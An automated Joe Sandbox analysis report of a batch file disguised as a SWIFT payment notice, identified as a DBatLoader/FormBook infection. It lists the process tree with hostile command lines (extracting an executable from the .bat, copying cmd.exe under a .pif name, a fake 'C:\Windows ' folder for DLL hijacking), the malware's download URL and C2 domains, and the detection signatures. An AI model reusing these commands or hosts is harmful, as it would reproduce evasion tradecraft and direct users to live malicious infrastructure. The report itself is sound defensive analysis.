Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
z1SWIFT_MT103_Payment_552016_cmd.bat

Overview

General Information

Sample name:z1SWIFT_MT103_Payment_552016_cmd.bat
Analysis ID:1545185
MD5:c00b82b6a7b2073f1887e919d1760aee
SHA1:0d32e05789133c3270d16533319cef50deec5483
SHA256:005de20d3c71268e4349a23b18e6f464f0632a4d67bc069a478c99d0b8e3f255
Tags:batuser-Porcupine
Infos:

Detection

DBatLoader, FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Detected unpacking (changes PE section rights)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected DBatLoader
Yara detected FormBook
AI detected suspicious sample
Allocates memory in foreign processes
C2 URLs / IPs found in malware configuration
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Drops PE files to the user root directory
Drops PE files with a suspicious file extension
Drops or copies cmd.exe with a different name (likely to bypass HIPS)
Found direct / indirect Syscall (likely to bypass EDR)
Found large BAT file
Machine Learning detection for dropped file
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
Queues an APC in another process (thread injection)
Sample uses process hollowing technique
Sigma detected: DLL Search Order Hijackig Via Additional Space in Path
Sigma detected: Execution from Suspicious Folder
Switches to a custom stack to bypass stack traces
Tries to detect virtualization through RDTSC time measurements
Tries to resolve many domain names, but no domain seems valid
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Binary contains a suspicious time stamp
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a connection to the internet is available
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to launch a process as a different user
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the user directory
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Execution of Suspicious File Type Extension
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara detected Keylogger Generic
Yara signature match

Classification

Process Tree

  • System is w10x64
  • cmd.exe (PID: 7048 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\z1SWIFT_MT103_Payment_552016_cmd.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 3892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • extrac32.exe (PID: 1864 cmdline: extrac32 /y "C:\Users\user\Desktop\z1SWIFT_MT103_Payment_552016_cmd.bat" "C:\Users\user\AppData\Local\Temp\x.exe" MD5: 41330D97BF17D07CD4308264F3032547)
    • x.exe (PID: 3544 cmdline: "C:\Users\user\AppData\Local\Temp\x.exe" MD5: 5DBEA6FB56D601307088104C910E1A80)
      • cmd.exe (PID: 3428 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\joedgvvL.cmd" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
        • conhost.exe (PID: 3492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • esentutl.exe (PID: 2300 cmdline: C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o MD5: 5F5105050FBE68E930486635C5557F84)
        • esentutl.exe (PID: 1340 cmdline: C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o MD5: 5F5105050FBE68E930486635C5557F84)
        • alpha.pif (PID: 1936 cmdline: C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • joedgvvL.pif (PID: 2992 cmdline: C:\Users\Public\Libraries\joedgvvL.pif MD5: C116D3604CEAFE7057D77FF27552C215)
        • explorer.exe (PID: 4004 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)
          • cscript.exe (PID: 2912 cmdline: "C:\Windows\SysWOW64\cscript.exe" MD5: CB601B41D4C8074BE8A84AED564A94DC)
            • cmd.exe (PID: 3728 cmdline: /c del "C:\Users\Public\Libraries\joedgvvL.pif" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
              • conhost.exe (PID: 2788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
DBatLoaderThis Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader
NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

Threatname: DBatLoader

{"Download Url": ["https://himalayastrek.com/stein/233_Lvvgdeojree"]}

Threatname: FormBook

{"C2 list": ["www.kimosskrupulslacker.cfd/f29s/"], "decoy": ["rostnixon.net", "exxxwordz.xyz", "ndradesanches.shop", "eneral-vceef.xyz", "isanbowl.top", "aresrasherregard.cfd", "dzas-yeah.xyz", "0083.miami", "hongziyin01.top", "jdhfmq.live", "alembottling.net", "vtyo-phone.xyz", "kaqb-decade.xyz", "odel-lsmfz.xyz", "aradise.tech", "uan123-rtp43.xyz", "pusptracking.xyz", "uqhi42.xyz", "mihy-professor.xyz", "mnz-your.xyz", "iscussion-tjard.xyz", "peak-ajau.xyz", "ixedcontainerlogistics.today", "ranxxletzz.xyz", "ccloudserve.xyz", "haloryner.website", "ro-arenamega.pro", "tjcb-wait.xyz", "lywjv-issue.xyz", "rta-away.xyz", "ay888.website", "asderkadinkollari.net", "specially-smou.xyz", "ound-qlhmm.xyz", "nit-dreeu.xyz", "ea-obgocc.xyz", "rostavive-org.xyz", "zpp-at.xyz", "duxrib.xyz", "uohz.net", "etsgroove.app", "awqs-wonder.xyz", "acaxtecameralcarers.cfd", "idstream.xyz", "umayunileusesingests.shop", "avada-cash-out.tech", "byataltatweer.net", "omething-nvho.xyz", "yntomist.pics", "aomei517.top", "how-ydhtlu.xyz", "ise-bjnh.xyz", "ovt-jobs-lisitings00810.today", "mmgiare.xyz", "plqz-move.xyz", "onheronummaryorkney.cfd", "oqo-over.xyz", "aee.pro", "as-nhynby.xyz", "dnaqm-walk.xyz", "aranvickersvirilia.cfd", "wqvn-environment.xyz", "attern-equd.xyz", "ivinetranquilityjourney.pics"]}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
0000000B.00000002.2335559900.000000001DE60000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBookYara detected FormBookJoe Security
    0000000B.00000002.2335559900.000000001DE60000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      0000000B.00000002.2335559900.000000001DE60000.00000040.10000000.00040000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
      • 0x6251:$a1: 3C 30 50 4F 53 54 74 09 40
      • 0x1cb90:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
      • 0xa9cf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
      • 0x158b7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
      0000000B.00000002.2335559900.000000001DE60000.00000040.10000000.00040000.00000000.sdmpFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
      • 0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
      • 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
      • 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
      • 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
      • 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
      • 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
      • 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
      • 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
      • 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D
      • 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4
      • 0x1c8fa:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
      0000000B.00000002.2335559900.000000001DE60000.00000040.10000000.00040000.00000000.sdmpFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group
      • 0x18819:$sqlite3step: 68 34 1C 7B E1
      • 0x1892c:$sqlite3step: 68 34 1C 7B E1
      • 0x18848:$sqlite3text: 68 38 2A 90 C5
      • 0x1896d:$sqlite3text: 68 38 2A 90 C5
      • 0x1885b:$sqlite3blob: 68 53 D8 7F 8C
      • 0x18983:$sqlite3blob: 68 53 D8 7F 8C
      Click to see the 46 entries

      Unpacked PEs

      SourceRuleDescriptionAuthorStrings
      11.1.joedgvvL.pif.400000.0.raw.unpackJoeSecurity_FormBookYara detected FormBookJoe Security
        11.1.joedgvvL.pif.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          11.1.joedgvvL.pif.400000.0.raw.unpackWindows_Trojan_Formbook_1112e116unknownunknown
          • 0x6251:$a1: 3C 30 50 4F 53 54 74 09 40
          • 0x35289:$a1: 3C 30 50 4F 53 54 74 09 40
          • 0x1cb90:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
          • 0x4bbc8:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
          • 0xa9cf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
          • 0x39a07:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
          • 0x158b7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
          • 0x448ef:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
          11.1.joedgvvL.pif.400000.0.raw.unpackFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
          • 0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
          • 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
          • 0x38940:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
          • 0x38bba:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
          • 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
          • 0x446ed:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
          • 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
          • 0x441d9:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
          • 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
          • 0x447ef:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
          • 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
          • 0x44967:$sequence_4: 5D C3 8D 50 7C 80 FA 07
          • 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
          • 0x395d2:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
          • 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
          • 0x43454:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
          • 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D
          • 0x3a2cb:$sequence_7: 66 89 0C 02 5B 8B E5 5D
          • 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4
          • 0x4a92f:$sequence_8: 3C 54 74 04 3C 74 75 F4
          • 0x1c8fa:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
          11.1.joedgvvL.pif.400000.0.raw.unpackFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group
          • 0x18819:$sqlite3step: 68 34 1C 7B E1
          • 0x1892c:$sqlite3step: 68 34 1C 7B E1
          • 0x47851:$sqlite3step: 68 34 1C 7B E1
          • 0x47964:$sqlite3step: 68 34 1C 7B E1
          • 0x18848:$sqlite3text: 68 38 2A 90 C5
          • 0x1896d:$sqlite3text: 68 38 2A 90 C5
          • 0x47880:$sqlite3text: 68 38 2A 90 C5
          • 0x479a5:$sqlite3text: 68 38 2A 90 C5
          • 0x1885b:$sqlite3blob: 68 53 D8 7F 8C
          • 0x18983:$sqlite3blob: 68 53 D8 7F 8C
          • 0x47893:$sqlite3blob: 68 53 D8 7F 8C
          • 0x479bb:$sqlite3blob: 68 53 D8 7F 8C
          Click to see the 16 entries

          Sigma Signatures

          System Summary

          barindex
          Sigma detected: DLL Search Order Hijackig Via Additional Space in Path
          Source: File createdAuthor: frack113, Nasreddine Bencherchali: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\x.exe, ProcessId: 3544, TargetFilename: C:\Windows \SysWOW64\NETUTILS.dll
          Sigma detected: Execution from Suspicious Folder
          Source: Process startedAuthor: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows " , CommandLine: C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows " , CommandLine|base64offset|contains: , Image: C:\Users\Public\alpha.pif, NewProcessName: C:\Users\Public\alpha.pif, OriginalFileName: C:\Users\Public\alpha.pif, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\joedgvvL.cmd" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 3428, ParentProcessName: cmd.exe, ProcessCommandLine: C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows " , ProcessId: 1936, ProcessName: alpha.pif
          Sigma detected: Execution of Suspicious File Type Extension
          Source: Process startedAuthor: Max Altgelt (Nextron Systems): Data: Command: C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows " , CommandLine: C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows " , CommandLine|base64offset|contains: , Image: C:\Users\Public\alpha.pif, NewProcessName: C:\Users\Public\alpha.pif, OriginalFileName: C:\Users\Public\alpha.pif, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\joedgvvL.cmd" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 3428, ParentProcessName: cmd.exe, ProcessCommandLine: C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows " , ProcessId: 1936, ProcessName: alpha.pif

          Suricata Signatures

          TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
          2024-10-30T08:05:37.123357+010020314531Malware Command and Control Activity Detected192.168.2.657601178.128.81.23980TCP

          Joe Sandbox Signatures

          Click to jump to signature section

          Show All Signature Results

          AV Detection

          barindex
          Found malware configuration
          Source: z1SWIFT_MT103_Payment_552016_cmd.batMalware Configuration Extractor: DBatLoader {"Download Url": ["https://himalayastrek.com/stein/233_Lvvgdeojree"]}
          Source: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmpMalware Configuration Extractor: FormBook {"C2 list": ["www.kimosskrupulslacker.cfd/f29s/"], "decoy": ["rostnixon.net", "exxxwordz.xyz", "ndradesanches.shop", "eneral-vceef.xyz", "isanbowl.top", "aresrasherregard.cfd", "dzas-yeah.xyz", "0083.miami", "hongziyin01.top", "jdhfmq.live", "alembottling.net", "vtyo-phone.xyz", "kaqb-decade.xyz", "odel-lsmfz.xyz", "aradise.tech", "uan123-rtp43.xyz", "pusptracking.xyz", "uqhi42.xyz", "mihy-professor.xyz", "mnz-your.xyz", "iscussion-tjard.xyz", "peak-ajau.xyz", "ixedcontainerlogistics.today", "ranxxletzz.xyz", "ccloudserve.xyz", "haloryner.website", "ro-arenamega.pro", "tjcb-wait.xyz", "lywjv-issue.xyz", "rta-away.xyz", "ay888.website", "asderkadinkollari.net", "specially-smou.xyz", "ound-qlhmm.xyz", "nit-dreeu.xyz", "ea-obgocc.xyz", "rostavive-org.xyz", "zpp-at.xyz", "duxrib.xyz", "uohz.net", "etsgroove.app", "awqs-wonder.xyz", "acaxtecameralcarers.cfd", "idstream.xyz", "umayunileusesingests.shop", "avada-cash-out.tech", "byataltatweer.net", "omething-nvho.xyz", "yntomist.pics", "aomei517.top", "how-ydhtlu.xyz", "ise-bjnh.xyz", "ovt-jobs-lisitings00810.today", "mmgiare.xyz", "plqz-move.xyz", "onheronummaryorkney.cfd", "oqo-over.xyz", "aee.pro", "as-nhynby.xyz", "dnaqm-walk.xyz", "aranvickersvirilia.cfd", "wqvn-environment.xyz", "attern-equd.xyz", "ivinetranquilityjourney.pics"]}
          Multi AV Scanner detection for dropped file
          Source: C:\Users\user\AppData\Local\Temp\x.exeReversingLabs: Detection: 26%
          Multi AV Scanner detection for submitted file
          Source: z1SWIFT_MT103_Payment_552016_cmd.batReversingLabs: Detection: 42%
          Yara detected FormBook
          Source: Yara matchFile source: 11.1.joedgvvL.pif.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 11.2.joedgvvL.pif.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 11.2.joedgvvL.pif.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 11.1.joedgvvL.pif.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0000000B.00000002.2335559900.000000001DE60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.2251265510.0000000021C42000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000B.00000002.2335523108.000000001DE30000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000B.00000002.2313660201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000D.00000002.4578398893.0000000000A30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000D.00000002.4578591711.0000000002C60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000D.00000002.4578723016.0000000002DD0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.2250459092.00000000216FA000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
          AI detected suspicious sample
          Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
          Machine Learning detection for dropped file
          Source: C:\Users\user\AppData\Local\Temp\x.exeJoe Sandbox ML: detected
          Source: unknownHTTPS traffic detected: 50.116.93.185:443 -> 192.168.2.6:49710 version: TLS 1.2
          Source: Binary string: cscript.pdbUGP source: joedgvvL.pif, 0000000B.00000003.2313114650.000000001DADE000.00000004.00000020.00020000.00000000.sdmp, joedgvvL.pif, 0000000B.00000002.2335660192.000000001DEC0000.00000040.10000000.00040000.00000000.sdmp, cscript.exe, 0000000D.00000002.4578552146.0000000000BF0000.00000040.80000000.00040000.00000000.sdmp
          Source: Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmp
          Source: Binary string: easinvoker.pdb source: x.exe, x.exe, 00000004.00000002.2248060897.0000000020EB0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2248060897.0000000020EF7000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000003.2142117406.000000007FB90000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000003.2140831497.000000007FE00000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmp
          Source: Binary string: cmd.pdbUGP source: esentutl.exe, 00000008.00000003.2205517290.0000000005670000.00000004.00001000.00020000.00000000.sdmp, alpha.pif, 0000000A.00000000.2212405005.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, alpha.pif.8.dr
          Source: Binary string: wntdll.pdbUGP source: joedgvvL.pif, 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmp, joedgvvL.pif, 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, joedgvvL.pif, 0000000B.00000003.2221706978.000000001DD76000.00000004.00000020.00020000.00000000.sdmp, joedgvvL.pif, 0000000B.00000003.2214977767.000000001DBCE000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 0000000D.00000002.4579171582.0000000004FBE000.00000040.00001000.00020000.00000000.sdmp, cscript.exe, 0000000D.00000002.4579171582.0000000004E20000.00000040.00001000.00020000.00000000.sdmp, cscript.exe, 0000000D.00000003.2313532832.0000000004AB4000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 0000000D.00000003.2320518672.0000000004C6D000.00000004.00000020.00020000.00000000.sdmp
          Source: Binary string: ping.pdbGCTL source: esentutl.exe, 00000009.00000003.2209251520.0000000005320000.00000004.00001000.00020000.00000000.sdmp, xpha.pif.9.dr
          Source: Binary string: wntdll.pdb source: joedgvvL.pif, joedgvvL.pif, 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmp, joedgvvL.pif, 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, joedgvvL.pif, 0000000B.00000003.2221706978.000000001DD76000.00000004.00000020.00020000.00000000.sdmp, joedgvvL.pif, 0000000B.00000003.2214977767.000000001DBCE000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 0000000D.00000002.4579171582.0000000004FBE000.00000040.00001000.00020000.00000000.sdmp, cscript.exe, 0000000D.00000002.4579171582.0000000004E20000.00000040.00001000.00020000.00000000.sdmp, cscript.exe, 0000000D.00000003.2313532832.0000000004AB4000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 0000000D.00000003.2320518672.0000000004C6D000.00000004.00000020.00020000.00000000.sdmp
          Source: Binary string: easinvoker.pdbH source: x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmp
          Source: Binary string: easinvoker.pdbGCTL source: x.exe, 00000004.00000003.2210936241.0000000021580000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000004.00000002.2248060897.0000000020EB0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2248060897.0000000020EF7000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000003.2142117406.000000007FB90000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000003.2210936241.00000000215AF000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000004.00000003.2140831497.000000007FE00000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000003.2141828114.0000000003014000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000004.00000002.2225748962.0000000003013000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmp
          Source: Binary string: cmd.pdb source: esentutl.exe, 00000008.00000003.2205517290.0000000005670000.00000004.00001000.00020000.00000000.sdmp, alpha.pif, alpha.pif, 0000000A.00000000.2212405005.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, alpha.pif.8.dr
          Source: Binary string: ping.pdb source: esentutl.exe, 00000009.00000003.2209251520.0000000005320000.00000004.00001000.00020000.00000000.sdmp, xpha.pif.9.dr
          Source: Binary string: cscript.pdb source: joedgvvL.pif, 0000000B.00000003.2313114650.000000001DADE000.00000004.00000020.00020000.00000000.sdmp, joedgvvL.pif, 0000000B.00000002.2335660192.000000001DEC0000.00000040.10000000.00040000.00000000.sdmp, cscript.exe, 0000000D.00000002.4578552146.0000000000BF0000.00000040.80000000.00040000.00000000.sdmp
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031D5908 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,4_2_031D5908
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D20207 FindFirstFileW,FindClose,memcpy,_wcsnicmp,_wcsicmp,memmove,10_2_00D20207
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D2589A FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapReAlloc,FindNextFileW,FindClose,GetLastError,FindClose,10_2_00D2589A
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D24EC1 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,10_2_00D24EC1
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D33E66 FindFirstFileW,FindNextFileW,FindClose,10_2_00D33E66
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D1532E GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPAX@Z,FindNextFileW,??_V@YAXPAX@Z,SetLastError,??_V@YAXPAX@Z,GetLastError,FindClose,10_2_00D1532E
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 4x nop then pop edi11_2_00416CBC
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 4x nop then pop edi11_1_00416CBC

          Networking

          barindex
          Suricata IDS alerts for network traffic
          Source: Network trafficSuricata IDS: 2031412 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.6:57601 -> 178.128.81.239:80
          Source: Network trafficSuricata IDS: 2031449 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.6:57601 -> 178.128.81.239:80
          Source: Network trafficSuricata IDS: 2031453 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.6:57601 -> 178.128.81.239:80
          System process connects to network (likely due to code injection or exploit)
          Source: C:\Windows\explorer.exeNetwork Connect: 178.128.81.239 80Jump to behavior
          C2 URLs / IPs found in malware configuration
          Source: Malware configuration extractorURLs: https://himalayastrek.com/stein/233_Lvvgdeojree
          Source: Malware configuration extractorURLs: www.kimosskrupulslacker.cfd/f29s/
          Performs DNS queries to domains with low reputation
          Source: DNS query: www.ound-qlhmm.xyz
          Source: DNS query: www.idstream.xyz
          Source: DNS query: www.specially-smou.xyz
          Source: DNS query: www.zpp-at.xyz
          Source: DNS query: www.ranxxletzz.xyz
          Source: DNS query: www.ise-bjnh.xyz
          Tries to resolve many domain names, but no domain seems valid
          Source: unknownDNS traffic detected: query: www.ranxxletzz.xyz replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: www.acaxtecameralcarers.cfd replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: www.ise-bjnh.xyz replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: www.jdhfmq.live replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: www.kimosskrupulslacker.cfd replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: www.ound-qlhmm.xyz replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: www.zpp-at.xyz replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: www.byataltatweer.net replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: www.specially-smou.xyz replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: www.ixedcontainerlogistics.today replaycode: Name error (3)
